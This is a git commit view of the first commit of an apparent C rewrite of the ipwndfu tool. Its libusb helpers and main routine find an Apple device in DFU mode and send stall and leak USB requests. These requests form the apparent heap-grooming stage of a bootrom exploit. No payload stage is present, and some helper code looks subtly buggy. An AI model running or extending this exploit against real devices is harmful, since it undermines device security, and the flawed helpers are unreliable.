Initial commit
This commit is contained in:
19
CMakeLists.txt
Normal file
19
CMakeLists.txt
Normal file
@@ -0,0 +1,19 @@
|
||||
cmake_minimum_required(VERSION 3.10)
|
||||
project(ipwndfu_rewrite_c C)
|
||||
|
||||
set(CMAKE_C_STANDARD 99)
|
||||
set(CMAKE_C_FLAGS -g)
|
||||
|
||||
add_library(libusb-1.0_custom
|
||||
libusb/config.h
|
||||
|
||||
libusb/libusb/core.c libusb/libusb/descriptor.c libusb/libusb/hotplug.c
|
||||
libusb/libusb/io.c libusb/libusb/strerror.c libusb/libusb/sync.c
|
||||
libusb/libusb/hotplug.h libusb/libusb/libusb.h libusb/libusb/libusbi.h libusb/libusb/version.h
|
||||
|
||||
libusb/libusb/os/linux_netlink.c libusb/libusb/os/linux_usbfs.c libusb/libusb/os/linux_udev.c
|
||||
libusb/libusb/os/threads_posix.c libusb/libusb/os/poll_posix.c
|
||||
libusb/libusb/os/linux_usbfs.h libusb/libusb/os/threads_posix.h libusb/libusb/os/poll_posix.h)
|
||||
|
||||
add_executable(ipwndfu main.c libusb_helpers.c libusb_helpers.h)
|
||||
target_link_libraries(ipwndfu libusb-1.0_custom pthread udev)
|
||||
159
libusb_helpers.c
Normal file
159
libusb_helpers.c
Normal file
@@ -0,0 +1,159 @@
|
||||
//
|
||||
// Created by grg on 10/23/19.
|
||||
//
|
||||
|
||||
#include "libusb_helpers.h"
|
||||
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void get_test_device(libusb_context *usb_ctx, struct libusb_device_bundle *bundle)
|
||||
{
|
||||
libusb_device **usb_device_list = NULL;
|
||||
int usb_dev_count;
|
||||
|
||||
usb_dev_count = libusb_get_device_list(usb_ctx, &usb_device_list);
|
||||
|
||||
libusb_device *usb_device = NULL;
|
||||
libusb_device_handle *usb_handle = NULL;
|
||||
struct libusb_device_descriptor usb_desc = {0};
|
||||
|
||||
for(unsigned int i = 0; i < usb_dev_count; i++)
|
||||
{
|
||||
usb_device = usb_device_list[i];
|
||||
libusb_get_device_descriptor(usb_device, &usb_desc);
|
||||
|
||||
if(usb_desc.idVendor == 0x05AC && usb_desc.idProduct == 0x1227)
|
||||
{
|
||||
libusb_open(usb_device, &usb_handle);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
libusb_free_device_list(usb_device_list, usb_dev_count);
|
||||
bundle->handle = usb_handle;
|
||||
bundle->descriptor = usb_desc;
|
||||
}
|
||||
|
||||
void libusb1_async_ctrl_transfer(libusb_device_handle *handle,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout)
|
||||
{
|
||||
struct timeval start, end;
|
||||
unsigned char usb_transfer_buf[8 + 2 + data_len];
|
||||
int ret;
|
||||
|
||||
gettimeofday(&start, NULL);
|
||||
|
||||
struct libusb_transfer *usb_transfer = libusb_alloc_transfer(0);
|
||||
libusb_fill_control_setup(usb_transfer_buf, bmRequestType, bRequest, wValue, wIndex, 0xC0);
|
||||
memset(&usb_transfer_buf[8], data_len, 2);
|
||||
memcpy(&usb_transfer_buf[10], data, data_len);
|
||||
libusb_fill_control_transfer(usb_transfer, handle, usb_transfer_buf, NULL, NULL, 1);
|
||||
|
||||
ret = libusb_submit_transfer(usb_transfer);
|
||||
if(ret != 0)
|
||||
{
|
||||
printf("Failed to submit async USB transfer: %s\n", libusb_error_name(ret));
|
||||
libusb_free_transfer(usb_transfer);
|
||||
exit(ret);
|
||||
}
|
||||
|
||||
while(1)
|
||||
{
|
||||
gettimeofday(&end, NULL);
|
||||
if(end.tv_usec - start.tv_usec > timeout)
|
||||
{
|
||||
ret = libusb_cancel_transfer(usb_transfer);
|
||||
libusb_free_transfer(usb_transfer);
|
||||
if(ret != 0)
|
||||
{
|
||||
printf("Failed to cancel async USB transfer: %s\n", libusb_error_name(ret));
|
||||
exit(ret);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void libusb1_no_error_ctrl_transfer(libusb_device_handle *handle,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout)
|
||||
{
|
||||
int ret;
|
||||
unsigned char recipient = bmRequestType & 3u;
|
||||
unsigned char rqtype = bmRequestType & (3u << 5u);
|
||||
if(recipient == 1 && rqtype == (2u << 5u))
|
||||
{
|
||||
unsigned short interface = wIndex & 0xFFu;
|
||||
ret = libusb_claim_interface(handle, interface);
|
||||
if(ret > 0)
|
||||
{
|
||||
printf("%s\n", libusb_error_name(ret));
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
ret = libusb_control_transfer(handle, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
|
||||
if(ret > 0)
|
||||
{
|
||||
printf("%s\n", libusb_error_name(ret));
|
||||
}
|
||||
}
|
||||
|
||||
void stall(libusb_device_handle *handle)
|
||||
{
|
||||
printf("Stall\n");
|
||||
unsigned char *data = malloc(0xC0);
|
||||
memset(data, 0xA, 0xC0);
|
||||
libusb1_async_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1000);
|
||||
free(data);
|
||||
}
|
||||
|
||||
void leak(libusb_device_handle *handle)
|
||||
{
|
||||
printf("Leak\n");
|
||||
unsigned char *data = malloc(0xC0);
|
||||
memset(data, 0, 0xC0);
|
||||
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1000);
|
||||
free(data);
|
||||
}
|
||||
|
||||
void no_leak(libusb_device_handle *handle)
|
||||
{
|
||||
printf("No leak\n");
|
||||
unsigned char *data = malloc(0xC1);
|
||||
memset(data, 0, 0xC1);
|
||||
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC1, 1000);
|
||||
free(data);
|
||||
}
|
||||
|
||||
void usb_req_stall(libusb_device_handle *handle)
|
||||
{
|
||||
printf("Req stall\n");
|
||||
unsigned char data[0];
|
||||
libusb1_no_error_ctrl_transfer(handle, 0x2, 3, 0, 0x80, data, 0, 10000);
|
||||
}
|
||||
|
||||
void usb_req_leak(libusb_device_handle *handle)
|
||||
{
|
||||
printf("Req leak\n");
|
||||
unsigned char data[0x40];
|
||||
memset(data, 0, 0x40);
|
||||
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x40, 1000);
|
||||
}
|
||||
|
||||
void usb_req_no_leak(libusb_device_handle *handle)
|
||||
{
|
||||
printf("Req no leak\n");
|
||||
unsigned char data[0x41];
|
||||
memset(data, 0, 0x41);
|
||||
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x41, 1000);
|
||||
}
|
||||
34
libusb_helpers.h
Normal file
34
libusb_helpers.h
Normal file
@@ -0,0 +1,34 @@
|
||||
#ifndef IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
|
||||
#define IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
|
||||
|
||||
#include "libusb-1.0/libusb.h"
|
||||
|
||||
struct libusb_device_bundle
|
||||
{
|
||||
struct libusb_device_handle *handle;
|
||||
struct libusb_device_descriptor descriptor;
|
||||
};
|
||||
|
||||
void get_test_device(libusb_context *usb_ctx, struct libusb_device_bundle *bundle);
|
||||
|
||||
void libusb1_async_ctrl_transfer(libusb_device_handle *handle,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout);
|
||||
|
||||
void libusb1_no_error_ctrl_transfer(libusb_device_handle *handle,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout);
|
||||
|
||||
void stall(libusb_device_handle *handle);
|
||||
void leak(libusb_device_handle *handle);
|
||||
void no_leak(libusb_device_handle *handle);
|
||||
|
||||
void usb_req_stall(libusb_device_handle *handle);
|
||||
void usb_req_leak(libusb_device_handle *handle);
|
||||
void usb_req_no_leak(libusb_device_handle *handle);
|
||||
|
||||
#endif //IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
|
||||
69
main.c
Normal file
69
main.c
Normal file
@@ -0,0 +1,69 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "libusb_helpers.h"
|
||||
|
||||
int main()
|
||||
{
|
||||
int ret;
|
||||
libusb_context *usb_ctx = NULL;
|
||||
libusb_init(&usb_ctx);
|
||||
|
||||
struct libusb_device_bundle usb_bundle;
|
||||
get_test_device(usb_ctx, &usb_bundle);
|
||||
|
||||
if(usb_bundle.handle == NULL)
|
||||
{
|
||||
libusb_exit(usb_ctx);
|
||||
printf("Could not find device\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
struct libusb_device_handle *usb_handle = usb_bundle.handle;
|
||||
struct libusb_device_descriptor usb_desc = usb_bundle.descriptor;
|
||||
|
||||
ret = libusb_set_auto_detach_kernel_driver(usb_handle, 1);
|
||||
if(ret > 0)
|
||||
{
|
||||
printf("%s\n", libusb_error_name(ret));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
unsigned char usb_serial_buf[128];
|
||||
unsigned char usb_data_buf[2048];
|
||||
unsigned char usb_transfer_buf[2048];
|
||||
|
||||
libusb_get_string_descriptor_ascii(usb_handle, usb_desc.iSerialNumber, usb_serial_buf, sizeof(usb_serial_buf));
|
||||
printf("Found device with serial %s\n", usb_serial_buf);
|
||||
|
||||
// begin the USB magic section
|
||||
unsigned int i;
|
||||
|
||||
stall(usb_handle);
|
||||
for(i = 0; i < 5; i++)
|
||||
{
|
||||
no_leak(usb_handle);
|
||||
}
|
||||
usb_req_leak(usb_handle);
|
||||
no_leak(usb_handle);
|
||||
|
||||
// libusb_close(usb_handle);
|
||||
// libusb_exit(usb_ctx);
|
||||
//
|
||||
// usb_bundle.handle = NULL;
|
||||
//
|
||||
// // section 2
|
||||
// libusb_init(&usb_ctx);
|
||||
// get_test_device(usb_ctx, &usb_bundle);
|
||||
// if(usb_bundle.handle == NULL)
|
||||
// {
|
||||
// libusb_exit(usb_ctx);
|
||||
// printf("Could not find device\n");
|
||||
// return 1;
|
||||
// }
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user